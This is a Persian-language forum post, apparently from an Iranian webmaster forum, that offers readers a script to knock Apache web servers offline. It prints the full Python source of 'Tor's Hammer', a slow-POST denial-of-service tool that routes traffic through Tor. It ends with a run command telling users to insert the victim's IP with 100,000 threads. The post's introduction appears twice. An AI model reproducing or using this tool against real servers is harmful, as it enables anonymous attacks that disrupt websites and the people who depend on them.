- عضویت
- 10/5/15
- ارسال ها
- 146
- امتیاز
- 6
سلام.
با توجه به مطالبی که قرار داده شده است تصمیم گرفتم به مناسبت سال نو برای کاربران ایران وب ادمین اسکریپتی رو قرار بدم که توسط اون می توانید سرور هایی که از وب سرور آپاچی استفاده میکنند رو از دسترس خارج کنید.
در نظر داشته باشید که اگر سروری از وب سرور انجین ایکس در کنار آپاچی به عنوان پروکسی استفاده کند عملا این اسکریپت کارایی نخواهد داشت.
با توجه به صحبت هایی که با نویسنده این اسکریپت که از دوستان خیلی قدیمی بنده می باشد داشتم, این اسکریپت بر روی بیشتر سرور ها عمل کرده و موجب اختلال در عملکرد وب سرور قربانی می شود.
عملکرد این اسکریپت بدین صورت می باشد که بر روی پورت 9150 اتک رو ارسال میکنه و موجب از کار افتادن وب سرور می شود.
فایل رو در زیر قرار دادم و باید با پسوند .py ذخیره و در سرور اجرا کنید:
راهنمای استفاده :
عواقب استفاده از این اسکریپت به عهده استفاده کننده بوده و انجمن ایران وب ادمین هیچ گونه مسئولیتی در قبال استفاده از این اسکریپت ندارد.
موفق باشید.
با توجه به مطالبی که قرار داده شده است تصمیم گرفتم به مناسبت سال نو برای کاربران ایران وب ادمین اسکریپتی رو قرار بدم که توسط اون می توانید سرور هایی که از وب سرور آپاچی استفاده میکنند رو از دسترس خارج کنید.
در نظر داشته باشید که اگر سروری از وب سرور انجین ایکس در کنار آپاچی به عنوان پروکسی استفاده کند عملا این اسکریپت کارایی نخواهد داشت.
با توجه به صحبت هایی که با نویسنده این اسکریپت که از دوستان خیلی قدیمی بنده می باشد داشتم, این اسکریپت بر روی بیشتر سرور ها عمل کرده و موجب اختلال در عملکرد وب سرور قربانی می شود.
عملکرد این اسکریپت بدین صورت می باشد که بر روی پورت 9150 اتک رو ارسال میکنه و موجب از کار افتادن وب سرور می شود.
فایل رو در زیر قرار دادم و باید با پسوند .py ذخیره و در سرور اجرا کنید:
کد:
#!/usr/bin/python
# this assumes you have the socks.py (http://phiral.net/socks.py)
# and terminal.py (http://phiral.net/terminal.py) in the
# same directory and that you have tor running locally
# on port 9150. run with 128 to 256 threads to be effective.
# kills apache 1.X with ~128, apache 2.X / IIS with ~256
# not effective on nginx
import time
import sys
import random
import getopt
import socks
import string
import terminal
from threading import Thread
global stop_now
global term
stop_now = False
term = terminal.TerminalController()
useragents = [
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
"Googlebot/2.1 (http://www.googlebot.com/bot.html)",
"Opera/9.20 (Windows NT 6.0; U; en)",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
"Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
"Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13"
"Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
"Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
"YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
]
class httpPost(Thread):
def __init__(self, host, port, tor):
Thread.__init__(self)
self.host = host
self.port = port
self.socks = socks.socksocket()
self.tor = tor
self.running = True
def _send_http_post(self, pause=10):
global stop_now
self.socks.send("POST / HTTP/1.1\r\n"
"Host: %s\r\n"
"User-Agent: %s\r\n"
"Connection: keep-alive\r\n"
"Keep-Alive: 900\r\n"
"Content-Length: 10000\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n\r\n" %
(self.host, random.choice(useragents)))
for i in range(0, 9999):
if stop_now:
self.running = False
break
p = random.choice(string.letters+string.digits)
print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
self.socks.send(p)
time.sleep(random.uniform(0.1, 3))
# self.socks.close()
def run(self):
while self.running:
while self.running:
try:
if self.tor:
self.socks.set_proxy(socks.SOCKS5, '127.0.0.1', 9150)
time.sleep(1)
self.socks.connect((self.host, self.port))
print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
break
except Exception, e:
print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
print e
time.sleep(1)
sys.exit()
while self.running:
try:
self._send_http_post()
except Exception, e:
if e.args[0] == 32 or e.args[0] == 104:
print term.BOL + term.UP + term.CLEAR_EOL + "Thread broken, restarting..." + term.NORMAL
self.socks = socks.socksocket()
break
time.sleep(0.1)
pass
def usage():
print "./torshammer.py -t <target> [-r <threads> -p <port> -T -h]"
print " -t|--target <Hostname|IP>"
print " -r|--threads <Number of threads> Defaults to 256"
print " -p|--port <Web Server Port> Defaults to 80"
print " -T|--tor Enable anonymising through tor on 127.0.0.1:9150"
print " -h|--help Shows this help\n"
print "Eg. ./torshammer.py -t 192.168.1.100 -r 256\n"
def main(argv):
try:
opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
except getopt.GetoptError:
usage()
sys.exit(-1)
global stop_now
target = ''
threads = 256
tor = False
port = 80
for o, a in opts:
if o in ("-h", "--help"):
usage()
sys.exit(0)
if o in ("-T", "--tor"):
tor = True
elif o in ("-t", "--target"):
target = a
elif o in ("-r", "--threads"):
threads = int(a)
elif o in ("-p", "--port"):
port = int(a)
if target == '' or int(threads) <= 0:
usage()
sys.exit(-1)
print term.DOWN + term.RED + "/*" + term.NORMAL
print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
rthreads = []
for i in range(threads):
t = httpPost(target, port, tor)
rthreads.append(t)
t.start()
while len(rthreads) > 0:
try:
rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
except KeyboardInterrupt:
print "\nShutting down threads...\n"
for t in rthreads:
stop_now = True
t.running = False
if __name__ == "__main__":
print "\n/*"
print " *"+term.RED + " Tor's Hammer "+term.NORMAL
print " * Slow POST DoS Testing Tool"
print " * entropy [at] phiral.net"
print " * Anon-ymized via Tor"
print " * We are Legion."
print " */\n"
main(sys.argv[1:])
کد:
python torshammer.py -t IP -r 100000 -T
به جای IP باید آی پی قربانی رو قرار بدید.
موفق باشید.